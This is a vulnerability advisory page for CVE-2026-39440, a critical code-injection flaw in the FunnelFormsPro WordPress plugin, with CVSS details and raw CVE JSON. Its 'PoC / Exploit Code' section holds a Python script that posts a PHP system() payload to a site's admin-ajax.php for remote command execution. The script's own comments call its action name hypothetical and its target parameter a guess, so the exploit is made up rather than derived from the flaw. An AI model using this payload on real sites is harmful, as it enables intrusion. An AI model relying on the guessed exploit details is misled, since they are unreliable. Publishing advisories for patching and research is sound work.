Security Vulnerability Report
中文
CVE-2026-39440 CVSS 9.9 CRITICAL

CVE-2026-39440

Published: 2026-04-23 13:16:12
Last Modified: 2026-04-23 14:28:56

Description

Improper Control of Generation of Code ('Code Injection') vulnerability in Funnelforms LLC FunnelFormsPro allows Remote Code Inclusion.This issue affects FunnelFormsPro: from n/a through 3.8.1.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

FunnelFormsPro <= 3.8.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (example) target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker's controlled server for reverse shell or simple command execution attacker_cmd = "whoami" # The vulnerable parameter might be part of an import or settings feature # The payload injects PHP code to execute a system command payload = { "action": "funnelforms_pro_import_action", # Hypothetical action name "data": "<?php system('" + attacker_cmd + "'); ?>" } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Response:") print(response.text) else: print("[-] Failed to send payload.") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39440", "sourceIdentifier": "[email protected]", "published": "2026-04-23T13:16:11.893", "lastModified": "2026-04-23T14:28:55.557", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Generation of Code ('Code Injection') vulnerability in Funnelforms LLC FunnelFormsPro allows Remote Code Inclusion.This issue affects FunnelFormsPro: from n/a through 3.8.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/funnelforms-pro/vulnerability/wordpress-funnelformspro-plugin-3-8-1-remote-code-execution-rce-vulnerability?_s_id=cve", "source": "[email protected]"}]}}